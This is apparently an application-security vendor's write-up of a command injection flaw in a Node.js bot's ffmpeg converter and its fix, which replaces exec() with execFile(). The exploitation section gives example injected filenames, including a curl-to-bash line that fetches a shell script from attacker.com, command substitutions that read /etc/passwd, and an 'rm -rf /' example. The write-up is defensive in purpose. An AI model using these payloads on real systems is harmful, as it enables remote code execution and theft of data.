Introduction
The Plugins/converter.js file handles media conversion for a web service — transforming images and videos using ffmpeg. But at line 56, a flaw in how the conversion command was constructed created a critical command injection vulnerability. The function used exec() from Node.js's child_process module with string interpolation, passing the user-controlled mediaMess variable (derived from Atlas.downloadAndSaveMediaMessage(quoted)) directly into a shell command string.
In a web service context, this is directly exploitable by remote attackers who can send crafted media messages. The Atlas parameter — flagged by Semgrep as a function argument containing user-controllable data — flows directly into the shell command without any sanitization or sandboxing.
The Vulnerability Explained
The Dangerous Code Pattern
Here's the vulnerable code from Plugins/converter.js at line 56:
import { exec } from "child_process";
// ...
exec(`"${ffmpegPath}" -i ${mediaMess} ${ran}`, (err) => {
fs.unlinkSync(mediaMess);
if (err) {
Atlas.sendMessage(
The problem is twofold:
-
exec()spawns a shell: UnlikeexecFile(), theexec()function passes the entire command string to/bin/sh -c(orcmd.exeon Windows). This means shell metacharacters like;,|,&&,$(), and backticks are all interpreted. -
mediaMessis user-controlled: The variable comes fromAtlas.downloadAndSaveMediaMessage(quoted), which processes a quoted message from a user. While this returns a file path, the filename or path could be manipulated by an attacker.
How an Attacker Could Exploit This
Consider a scenario where an attacker crafts a media message with a filename containing shell metacharacters. When mediaMess resolves to something like:
/tmp/innocent.jpg; curl http://attacker.com/shell.sh | bash
The resulting command becomes:
"/path/to/ffmpeg" -i /tmp/innocent.jpg; curl http://attacker.com/shell.sh | bash output.png
The shell interprets the semicolon as a command separator, executing the attacker's payload with the privileges of the Node.js process. Since this is a web service, any remote user who can send a message to the bot can achieve remote code execution on the server.
Even more subtle attacks are possible using backtick substitution:
/tmp/`whoami`.jpg
Or command substitution:
/tmp/$(cat /etc/passwd > /tmp/leaked).jpg
Real-World Impact
For this application — a web service that processes user messages — the impact is catastrophic:
- Full server compromise: Arbitrary command execution with the process's privileges
- Data exfiltration: Access to environment variables, configuration files, databases
- Lateral movement: The compromised server can be used to attack internal infrastructure
- Service disruption: An attacker could delete files, crash the service, or install persistent backdoors
The Fix
The fix replaces exec() with execFile() and restructures the arguments from a concatenated string into an array:
Before (Vulnerable):
import { exec } from "child_process";
// ...
exec(`"${ffmpegPath}" -i ${mediaMess} ${ran}`, (err) => {
After (Fixed):
import { execFile } from "child_process";
// ...
execFile(ffmpegPath, ["-i", mediaMess, ran], (err) => {
Why This Works
The key difference is how the operating system receives the command:
| Aspect | exec() |
execFile() |
|---|---|---|
| Shell spawned | Yes (/bin/sh -c) |
No (direct execve) |
| Metacharacter interpretation | Yes | No |
| Argument passing | Single string parsed by shell | Array passed directly to process |
| Injection risk | High | Eliminated |
With execFile():
- The first argument (ffmpegPath) is the binary to execute — no quotes needed since it's passed directly to the OS
- The second argument is an array where each element becomes a separate argv entry
- Even if mediaMess contains ; rm -rf /, it's passed as a literal filename argument to ffmpeg, not interpreted by a shell
- ffmpeg will simply report "file not found" for the malicious filename rather than executing injected commands
Prevention & Best Practices
1. Never Use exec() with Dynamic Input
If you must invoke external processes in Node.js, always prefer:
- execFile() — for simple command execution with arguments
- spawn() — for streaming/long-running processes
- Neither invokes a shell by default
2. Validate and Sanitize File Paths
Even with execFile(), validate that file paths match expected patterns:
const pathRegex = /^[a-zA-Z0-9_\-./]+$/;
if (!pathRegex.test(mediaMess)) {
throw new Error("Invalid file path");
}
3. Use Static Analysis in CI/CD
Integrate Semgrep or similar tools to catch dangerous patterns before they reach production:
# .semgrep.yml
rules:
- id: no-exec-with-user-input
pattern: exec($ARG)
message: "Use execFile() instead of exec()"
severity: ERROR
4. Apply the Principle of Least Privilege
Run the Node.js process with minimal permissions. Use containers, sandboxes, or dedicated service accounts that limit blast radius if exploitation occurs.
5. Reference Standards
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP: OS Command Injection is consistently in the OWASP Top 10 under Injection flaws
Key Takeaways
exec()with template literals is an anti-pattern: The combination ofexec(`...${userInput}...`)is essentially an open door for command injection in any Node.js applicationAtlas.downloadAndSaveMediaMessage()returns a path derived from user content: Any downstream use of this path in shell commands must assume it's attacker-controlledexecFile()with argument arrays is a structural fix: It doesn't just sanitize input — it eliminates the entire class of shell injection by never invoking a shell- The ffmpegPath no longer needs quoting: With
exec(), the path had to be wrapped in quotes ("${ffmpegPath}") to handle spaces. WithexecFile(), this is unnecessary since there's no shell parsing - Semgrep's
detect-child-processrule caught this automatically: Static analysis tools can identify these patterns before they become exploitable vulnerabilities in production
How Orbis AppSec Detected This
- Source: User-submitted media message processed through
Atlas.downloadAndSaveMediaMessage(quoted), whereAtlasis a function argument containing user-controllable data - Sink:
exec()call inPlugins/converter.js:56that interpolates the user-derivedmediaMessvariable into a shell command string - Missing control: No input sanitization, no shell avoidance — user-controlled file paths were passed directly into a shell-interpreted command string
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Replaced
exec()withexecFile()and converted the command string into an argument array, eliminating shell interpretation entirely
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This command injection vulnerability in Plugins/converter.js demonstrates why child_process.exec() should be treated as a dangerous API whenever dynamic input is involved. The fix — switching to execFile() with an argument array — is both minimal and maximally effective. It doesn't rely on fragile input validation or escaping; it structurally eliminates the attack surface by never spawning a shell.
For any Node.js developer working with external process execution: default to execFile() or spawn(). Reserve exec() only for truly static command strings where no variable interpolation occurs. And integrate static analysis tools like Semgrep into your workflow to catch these patterns before they ship.